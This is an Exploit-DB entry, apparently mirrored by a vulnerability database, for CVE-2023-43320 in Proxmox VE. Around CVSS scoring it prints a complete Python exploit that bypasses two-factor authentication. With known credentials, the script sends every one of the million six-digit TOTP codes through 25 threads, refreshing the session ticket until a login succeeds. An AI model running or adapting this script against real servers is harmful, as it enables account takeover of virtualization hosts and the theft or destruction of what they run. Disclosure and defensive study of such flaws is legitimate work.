Lucene search

K
exploitdbCory Cline, Gabe RustEDB-ID:51763
HistoryJan 31, 2024 - 12:00 a.m.

Proxmox VE - TOTP Brute Force

2024-01-3100:00:00
Cory Cline, Gabe Rust
www.exploit-db.com
126
proxmox ve
totp brute force
cve-2023-43320
version 5.4
version 7.4-1
debian
csrfpreventiontoken
tfa challenge
concurrent futures.

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9.1 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

35.4%

# Exploit Title: Proxmox VE TOTP Brute Force
# Date: 09/23/2023
# Exploit Author: Cory Cline, Gabe Rust
# Vendor Homepage: https://www.proxmox.com/en/
# Software Link: http://download.proxmox.com/iso/
# Version: 5.4 - 7.4-1
# Tested on: Debian
# CVE : CVE-2023-43320

import time
import requests
import urllib.parse
import json
import os
import urllib3

urllib3.disable_warnings()
threads=25

#################### REPLACE THESE VALUES #########################
password="KNOWN PASSWORD HERE"
username="KNOWN USERNAME HERE"
target_url="https://HOST:PORT"
##################################################################

ticket=""
ticket_username=""
CSRFPreventionToken=""
ticket_data={}

auto_refresh_time = 20 # in minutes - 30 minutes before expiration
last_refresh_time = 0

tokens = [];

for num in range(0,1000000):
    tokens.append(str(num).zfill(6))

def refresh_ticket(target_url, username, password):
    global CSRFPreventionToken
    global ticket_username
    global ticket_data
    refresh_ticket_url = target_url + "/api2/extjs/access/ticket"
    refresh_ticket_cookies = {}
    refresh_ticket_headers = {}
    refresh_ticket_data = {"username": username, "password": password, "realm": "pve", "new-format": "1"}
    ticket_data_raw = urllib.parse.unquote(requests.post(refresh_ticket_url, headers=refresh_ticket_headers, cookies=refresh_ticket_cookies, data=refresh_ticket_data, verify=False).text)
    ticket_data = json.loads(ticket_data_raw)
    CSRFPreventionToken = ticket_data["data"]["CSRFPreventionToken"]
    ticket_username = ticket_data["data"]["username"]

def attack(token):
    global last_refresh_time
    global auto_refresh_time
    global target_url
    global username
    global password
    global ticket_username
    global ticket_data
    if ( int(time.time()) > (last_refresh_time + (auto_refresh_time * 60)) ):
        refresh_ticket(target_url, username, password)
        last_refresh_time = int(time.time())

    url = target_url + "/api2/extjs/access/ticket"
    cookies = {}
    headers = {"Csrfpreventiontoken": CSRFPreventionToken}
    stage_1_ticket = str(json.dumps(ticket_data["data"]["ticket"]))[1:-1]
    stage_2_ticket = stage_1_ticket.replace('\\"totp\\":', '\"totp\"%3A').replace('\\"recovery\\":', '\"recovery\"%3A')
    data = {"username": ticket_username, "tfa-challenge": stage_2_ticket, "password": "totp:" + str(token)}
    response = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
    if(len(response.text) > 350):
        print(response.text)
        os._exit(1)

while(1):
    refresh_ticket(target_url, username, password)
    last_refresh_time = int(time.time())

    with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
        res = [executor.submit(attack, token) for token in tokens]
        concurrent.futures.wait(res)

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9.1 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

35.4%